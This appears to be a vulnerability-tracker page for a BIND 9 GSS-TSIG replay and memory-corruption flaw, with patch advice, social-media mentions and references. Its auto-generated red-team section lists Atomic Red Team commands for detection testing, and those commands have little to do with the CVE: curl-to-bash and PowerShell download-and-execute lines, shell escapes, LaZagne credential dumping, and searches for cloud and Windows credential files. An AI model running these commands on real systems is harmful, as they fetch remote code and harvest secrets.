CVE-2026-94300
Overview
This vulnerability is a replay attack combined with memory corruption in the ISC BIND 9 DNS server component "named". It arises from improper handling of GSS-TSIG signed UDP messages, where replayed messages are accepted while the negotiated TSIG key remains valid. The flaw affects the UDP message processing logic within the GSS-TSIG authentication mechanism, leading to unsafe memory operations.
Vulnerability Description
Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`". An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution. This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.
Impact
An unauthenticated attacker capable of capturing valid GSS-TSIG signed UDP messages can replay them to cause memory corruption in the DNS server. By combining this with crafted DNS queries to attacker-controlled zones, the attacker can achieve remote code execution within the context of the "named" process. This enables full system compromise, potentially allowing unauthorized control over DNS infrastructure without requiring user interaction or privileged access.
Solution
ISC recommends upgrading affected BIND 9 versions to 9.20.30 or 9.21.27, which contain patches addressing this vulnerability. Detailed patching instructions and advisories are available at the ISC knowledge base: https://kb.isc.org/docs/cve-2026-94300. Users should apply these updates promptly to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-26 | Leveraging Race Conditions |
30%
|
High | High | |
| CAPEC-29 | Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions |
30%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (18)
18 mentions from 15 sources in the last 7 days BuzzFactor 73 / 100
-
social bsky.app @murashit.net 2026-10-22 10:09 UTChttps://jprs.jp/tech/security/2026-10-22-bind9-cve-2026-94300.htmlOpen source
-
social bsky.app @matoken.inari.opencocon.org.ap.brid.gy 2026-10-22 09:18 UTC(緊急)BIND 9.xの脆弱性(CPU・メモリの過剰な消費)について(CVE-2026-19630)- バージョンアップを強く推奨 - https://jprs.jp/tech/security/2026-10-22-bind9-cve-2026-19630.html (緊急)BIND 9.xの脆弱性(DNSサービスの停止・リモートコード実行)について(CVE-2026-94300) - バージョンアップを強く推奨 - https://jprs.jp/tech/secur…Open source
-
social bsky.app @omo.bsky.social 2026-10-22 08:33 UTCBIND 9の脆弱性(High: CVE-2026-19630, CVE-2026-94300, CVE-2026-96888, CVE-2026-97313)と修正版(9.20.30, 9.21.27)リリース #sios_tech #security #vulnerability #セキュリティ #脆弱性 #dns #bind security.sios.jp/vulnerabilit...Open source
-
social bsky.app @shiojiri.com 2026-10-22 08:32 UTC(緊急)BIND 9.xの脆弱性(DNSサービスの停止・リモートコード実行)について(CVE-2026-94300) - バージョンアップを強く推奨 - https://jprs.jp/tech/security/2026-10-22-bind9-cve-2026-94300.htmlOpen source
-
social infosec.exchange @vuldb 2026-10-22 07:30 UTC⚠️ A new vulnerability with increased severity was disclosed for ISC BIND 9 (CVE-2026-94300) https://vuldb.com/vuln/424802Open source
-
social bsky.app @kikta.net 2026-10-22 01:37 UTCRCE in DNS, is that bad? kb.isc.org/docs/cve-202...Open source
-
social bsky.app @slackers.it 2026-10-22 00:01 UTC5/6 https://kb.isc.org/docs/CVE-2026-94300 https://kb.isc.org/docs/CVE-2026-96888 https://kb.isc.org/docs/CVE-2026-97313 https://www.cve.org/CVERecord?id=CVE-2026-19630 https://www.cve.org/CVERecord?id=CVE-2026-94300Open source
-
social bsky.app @some-rss-feeds.bsky.social 2026-10-21 23:15 UTC[some-subscribed-rss] New Post: "No way to prevent this" say users of only language where this regularly happens, by https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-94300/Open source
-
social bsky.app @nightshade.technology 2026-10-21 22:30 UTCWE HAVE A REAL WINNER FOR ENDLESS CVE WEDNESDAY PART 6: 8.1 in BIND, the DNS server software! it's always DNS somewhere! kb.isc.org/docs/cve-202...Open source
-
social bsky.app @glyph.im 2026-10-21 22:09 UTCuh oh, 5, too many https://kb.isc.org/docs/cve-2026-94300Open source
-
social bsky.app @xeiaso.net 2026-10-21 22:01 UTC"No way to prevent this" say users of only language where this regularly happens https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-94300/Open source
-
social bsky.app @cadey.pony.social.ap.brid.gy 2026-10-21 22:01 UTC"No way to prevent this" say users of only language where this regularly happens https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-94300/?utm_campaign=mi_irl&utm_medium=social&utm_source=mastodonOpen source
-
social infosec.exchange @cve 2026-10-21 17:59 UTCCVE-2026-94300 Concurrent GSS-TSIG messages corrupt memory Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`". An attacker who can capture a previously signed UDP message can replay it while the negotiated…Open source
-
social bsky.app @securityonline.bsky.social 2026-10-21 15:59 UTCISC fixes four BIND 9 vulnerabilities, including CVE-2026-94300 memory corruption and denial of service bugs. Upgrade to BIND 9.20.30 or 9.21.27. #BIND9 #ISC #DNS #CVE202694300 #CVE202619630 #CVE202697313 #DenialOfService #CyberSecurityOpen source
-
social bsky.app @cve.skyfleet.blue 2026-10-21 14:43 UTCCVE-2026-94300 - Concurrent GSS-TSIG messages corrupt memory CVE ID : CVE-2026-94300 Published : Oct. 21, 2026, 1:21 p.m. | 45 minutes ago Description : Replaying GSS-TSIG signed UDP messages can result in memory corruption in "`named`". A…Open source
-
news threatsensor.csurface.io 2026-10-21 12:45 UTCHigh-Severity CVE-2026-94300 Affects ISC BIND 9, Poses Remote Code Execution RiskOpen source
-
advisory cyber.gc.ca 2026-10-21 11:48 UTCOpen source
-
advisory acn.gov.it 2026-10-21 08:36 UTCOpen source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-94300 |
| kb.isc.org |
GitHub CVE
vendor-advisory
|
https://kb.isc.org/docs/cve-2026-94300 |
| downloads.isc.org |
GitHub CVE
patch
|
https://downloads.isc.org/isc/bind9/9.20.30 |
| downloads.isc.org |
GitHub CVE
patch
|
https://downloads.isc.org/isc/bind9/9.21.27 |